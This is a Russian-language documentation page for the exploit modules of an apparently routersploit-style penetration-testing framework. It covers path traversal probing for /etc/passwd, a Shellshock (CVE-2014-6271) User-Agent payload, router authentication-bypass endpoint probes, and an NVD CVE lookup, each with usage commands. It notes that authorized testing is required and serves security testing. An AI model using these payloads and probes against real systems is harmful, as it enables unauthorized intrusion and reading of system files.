Exploits layer
Все exploit-модули требуют авторизованного тестирования.
exploits/web/path_traversal
LFI/путь: ../../../etc/passwd (десять вариантов encode) в каждый
параметр URL. Хит — root:x:0:0: в ответе:
use path_traversal
set url http://site.com/download.php?file=report.pdf
run
exploits/web/shellshock
CVE-2014-6271 — bash-инъекция через User-Agent у CGI-эндпоинтов
(7 common CGI путей; paths опция для подмены):
use shellshock
set url http://host/cgi-bin/
run
Payload: () { :; }; echo; /bin/echo -e "Content-Type..."; маркер
K7_SHELLSHOCK_OK в выводе = уязвимо. В реале patched bash — ожидаемо
«не стреляет».
exploits/router/auth_bypass
14 известных «дырявых» endpoints роутеров (/HNAP1/, /goform/...,
OpenWRT /cgi-bin/luci/, Netgear /setup.cgi?next_file=..., Zyxel
/config.device.xml…) без авторизации:
use auth_bypass
set target 192.168.1.1
set port 80
run # что видно без логина → loot(router_endpoint)
routersploit-стиль: берут target — прощупывают «магические» пути (mgmt, snippets, dhcp logs…).
exploits/cve_search
Оффлайн/онлайн lookup CVE через NVD 2.0 API (без ключа):
use cve_search
set keyword "nginx 1.18"
set limit 5
run # CVE id, CVSS score, description → loot(cve)
Идеально после techdetect: нашёл версию nginx → нашёл CVE →
дальше руками/через свой модуль.
Дальше: payloads